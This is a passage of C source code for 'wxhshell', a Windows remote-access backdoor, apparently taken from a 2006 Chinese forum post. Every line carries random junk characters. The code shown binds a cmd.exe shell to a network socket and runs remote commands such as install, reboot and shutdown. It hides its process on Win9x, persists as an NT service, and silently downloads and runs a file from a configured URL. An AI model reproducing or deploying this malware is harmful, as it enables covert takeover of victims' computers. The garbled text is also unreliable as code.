  t* eZe`|  
  // 帮助  g=W1y  
  case '?': { ?Pg{nlJvq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nGb%mlb  
    break; ^APPWQUl  
  } nO-1^HUl  
  // 安装 EG=~0j~  
  case 'i': { 8K(3{\J[V  
    if(Install()) S ?v^/F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z*,P^K 0T  
    else #r{`Iv ?nn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &oi*]:<FNe  
    break; 3O %u?  
    } mx\b6w7  
  // 卸载 < zUU`  
  case 'r': { E(t:F^z&D  
    if(Uninstall()) gZkjh{rQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 79}voDFd  
    else J*4byu|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c j-_  
    break; MZ9{*y[z  
    } A\Ax5eeL  
  // 显示 wxhshell 所在路径 t4HDt\}&k~  
  case 'p': { "`A@_;At`  
    char svExeFile[MAX_PATH]; ?[Gj?D.Wc  
    strcpy(svExeFile,"\n\r"); Ekq&.qjYG"  
      strcat(svExeFile,ExeFile); B^8]quOH  
        send(wsh,svExeFile,strlen(svExeFile),0); #L,>)XkjS  
    break; ?r< F/$/  
    } 42 6l:>D(  
  // 重启 "XvM1G&s`  
  case 'b': { sf""]c$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R.ZC|bPiD  
    if(Boot(REBOOT)) {/Mz /|%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AfQ?jKk&{'  
    else { ChVur{jR  
    closesocket(wsh); Iv J ;9d  
    ExitThread(0); |q0MM^%"  
    } L p(6K  
    break; e G8Zn<:s  
    } 8vP:yh@  
  // 关机 /Q|guJx  
  case 'd': { s#f6qj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8[2.HM$Y  
    if(Boot(SHUTDOWN)) W_]Su  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <OYy ;s  
    else { .W[[Z;D  
    closesocket(wsh); h~\bJ*Zp  
    ExitThread(0); y7&8P8R  
    } u<}PcI.  
    break; F0&BEJBkU  
    } 2!UNFv#=$  
  // 获取shell IUK !b2!`  
  case 's': { 6Vq]AQx  
    CmdShell(wsh); $s[DT!8N  
    closesocket(wsh); {9 PeBc  
    ExitThread(0); OfSy_#aEK  
    break; 9lT6fW`v1Q  
  } oM')NIW@  
  // 退出 ^+v6?%m  
  case 'x': { /.?m9O^ F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l}#z#L2,`  
    CloseIt(wsh); |?a 4Nl?  
    break; Jl,mYFEZ  
    } 3n\eCdV-b<  
  // 离开 U}r^M( s!  
  case 'q': { 6f$h1$$)^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k!%[W,*  
    closesocket(wsh); &n5Lc`  
    WSACleanup(); d;Uzl 1;  
    exit(1); 9PpPAF  
    break; ]["=K!la:  
        } 5>o<! 0g  
  } <Z8I#IPl  
  } 9}\{0;9  
}w,^]fC:  
  // 提示信息 `0]kRA8=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3jH8pO^  
} d#?.G3YmK  
  } (|(#W+l~  
x{$~u2|  
  return; 6NvdFss'A{  
} #U46Au  
~ jR:oN  
// shell模块句柄 \~3g*V  
int CmdShell(SOCKET sock) 9c /&+j  
{ 3C=|  
STARTUPINFO si; yAge2m]<B  
ZeroMemory(&si,sizeof(si)); ]3+xJz~=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DOr()X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ac/=%om8u  
PROCESS_INFORMATION ProcessInfo; b~M3j&  
char cmdline[]="cmd"; kt.y"^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oZ)\Ya=  
  return 0; ~AD%aHR  
} 3c#CEuu  
-I#]#i@gX  
// 自身启动模式 LI>tN R~  
int StartFromService(void) kW'xuZ&  
{ Lyx \s;  
typedef struct Cst:5m0!  
{ 8x`?Yc  
  DWORD ExitStatus; ;ew3^i.du  
  DWORD PebBaseAddress; +) pO82  
  DWORD AffinityMask; LX4*3c|i,  
  DWORD BasePriority; d+5KHfkK  
  ULONG UniqueProcessId; L*A9a  
  ULONG InheritedFromUniqueProcessId; ;P` z ?>J:  
}   PROCESS_BASIC_INFORMATION; yv.UNcP?  
H.8f-c-4we  
PROCNTQSIP NtQueryInformationProcess; ls(lL\  
piZ0KA"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yQ33JQr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @"`J~uK  
$'SWH+G  
  HANDLE             hProcess; qO yg&]7  
  PROCESS_BASIC_INFORMATION pbi; [LwmzmV+F  
@`qhQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {Z>OAR#   
  if(NULL == hInst ) return 0; `@8QQB  
TFX*kk &R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 82w='~y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &ukYTDM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l;4},N  
xLfx/&2  
  if (!NtQueryInformationProcess) return 0; Ppw0vaJ^  
eOZ0L1JM!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l]BIFZ~  
  if(!hProcess) return 0; d" T">Og)  
[4V{~`sF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D49yV`  
s~ZLnEb  
  CloseHandle(hProcess); 9v=fE2`-  
Ap&Bwo 8b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ae&470  
if(hProcess==NULL) return 0; _f9XY  
C;#-2^h  
HMODULE hMod; BDW%cs  
char procName[255]; `lAe2l^  
unsigned long cbNeeded; 7Eo a~  
N5>ioJj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y be:u  
_#6_7=g@s6  
  CloseHandle(hProcess); ))y`q@  
3b1;f)t  
if(strstr(procName,"services")) return 1; // 以服务启动 +!dWQ=W  
w +QXSa_D  
  return 0; // 注册表启动 0 K T.@P  
} ZWZRG-:&H  
Z`L-UQJ .  
// 主模块 gq[|>Rs75  
int StartWxhshell(LPSTR lpCmdLine) K-%x] Fp=  
{ T%{qwZc+mJ  
  SOCKET wsl; xign!=  
BOOL val=TRUE; PuKT0*_ 7  
  int port=0; W(^R-&av  
  struct sockaddr_in door; eko$c,&jY  
lX^yd5M&f  
  if(wscfg.ws_autoins) Install(); 8Z YF%  
)tB:g.2k  
port=atoi(lpCmdLine); Q\WH2CK  
[1 pWg^  
if(port<=0) port=wscfg.ws_port; 6Fp}U  
@'go?E)f  
  WSADATA data; .Ux bwTup  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IM""s]  
a: C h"la  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N~c Y~a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z[zURj-*]  
  door.sin_family = AF_INET; in>Os@e#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rA<>k/a  
  door.sin_port = htons(port);  t 0 $}  
m tPmVze  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HF(pC7/a:  
closesocket(wsl); \6]Uj+  
return 1; @xKfqKoqg  
} :Z(w,  
tw<mZd2H  
  if(listen(wsl,2) == INVALID_SOCKET) { |wef[|@%  
closesocket(wsl); ^oykimYI-  
return 1; Me*woCos'  
} E=G"_ ^hCE  
  Wxhshell(wsl); &bh%>[  
  WSACleanup(); ]@Gw$  
rn$LZE %  
return 0; s{QS2G$5  
xN^ngRg0  
} `5J`<BPs  
@51!vQwqR  
// 以NT服务方式启动 \=3fO(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k15fy"+Ut  
{ #YABb wH  
DWORD   status = 0; (z8^^j[  
  DWORD   specificError = 0xfffffff; .ty^k@J|]  
**RW 9FU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; erhxZ|."P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8y9`xRy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {pzu1*  
  serviceStatus.dwWin32ExitCode     = 0; ceKR?%8s  
  serviceStatus.dwServiceSpecificExitCode = 0; ")gd)_FOS  
  serviceStatus.dwCheckPoint       = 0; XGs d"UW  
  serviceStatus.dwWaitHint       = 0; 0$saDmED  
oU\Q|mN(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [ X7LV  
  if (hServiceStatusHandle==0) return; IY* ~df  
f@G3,u!]i  
status = GetLastError(); GS<aXh k  
  if (status!=NO_ERROR) f:w#r.]  
{ $qvk9 B0E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rt%3\?rf  
    serviceStatus.dwCheckPoint       = 0; R)[ l 3  
    serviceStatus.dwWaitHint       = 0;  Uk2U:  
    serviceStatus.dwWin32ExitCode     = status; *8WcRx  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1vy*u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?;q  
    return; rM{3]v{~  
  } 5O7 x4bY  
J2va Kl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }3}{}w0Y  
  serviceStatus.dwCheckPoint       = 0; y*f 5_  
  serviceStatus.dwWaitHint       = 0; $<]G#&F   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <"&I'9  
} CO)BF%?B  
7aV(tMzd  
// 处理NT服务事件,比如:启动、停止 FHoY=fCI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 96 oztUK  
{ PX5K-|R  
switch(fdwControl) qjtrU#n  
{  Z>O2  
case SERVICE_CONTROL_STOP: vv9=g*"j  
  serviceStatus.dwWin32ExitCode = 0; &+K:pU?[$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s}O9[_v  
  serviceStatus.dwCheckPoint   = 0; C}7 c:4c  
  serviceStatus.dwWaitHint     = 0; CP%?,\  
  { xDJs0P4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X}-) io  
  } (F wWyt  
  return; R cz;|h8  
case SERVICE_CONTROL_PAUSE: 2G(RQ\Ro*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pyf/%9R:d  
  break; _a?(JzLw5  
case SERVICE_CONTROL_CONTINUE: gbl`_t/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >~D-\,d|f  
  break; 1R e5)Y:i  
case SERVICE_CONTROL_INTERROGATE: t/3t69\x  
  break; )-RI  
}; 3~r>G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pd~{XM,yfW  
} nO{m2&r+  
sXpA^pT"T  
// 标准应用程序主函数 sK&[sN33  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]:6M!+?(  
{ }kCaTI?@#  
5d4/}o}%"  
// 获取操作系统版本 +TWk}#G   
OsIsNt=GetOsVer(); $?e_ l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zS6oz=  
AMm)E  
  // 从命令行安装 :B(vk3;U!  
  if(strpbrk(lpCmdLine,"iI")) Install();  3g#  
"s6\l~+9l  
  // 下载执行文件 X<j(AAHE  
if(wscfg.ws_downexe) { ?Tr]zxtd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P`HDQ/^O  
  WinExec(wscfg.ws_filenam,SW_HIDE); m"r=p  
} y>5??q  
|_Tp:][mf  
if(!OsIsNt) { 3T|xUY)G4  
// 如果时win9x,隐藏进程并且设置为注册表启动 OX  r%b  
HideProc(); TrEo5H;  
StartWxhshell(lpCmdLine); &.ilku/  
} V*C%r:5 ,v  
else CBVL/pxy  
  if(StartFromService()) 5xsGSoa+  
  // 以服务方式启动 | k:ecw  
  StartServiceCtrlDispatcher(DispatchTable); j -R9=vB2  
else aYBc)LCd  
  // 普通方式启动 3om_Z/k  
  StartWxhshell(lpCmdLine); j$5S_]2  
p /x ]  
return 0; CHojF+e  
}
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只看该作者 1 发表于: 2006-10-10
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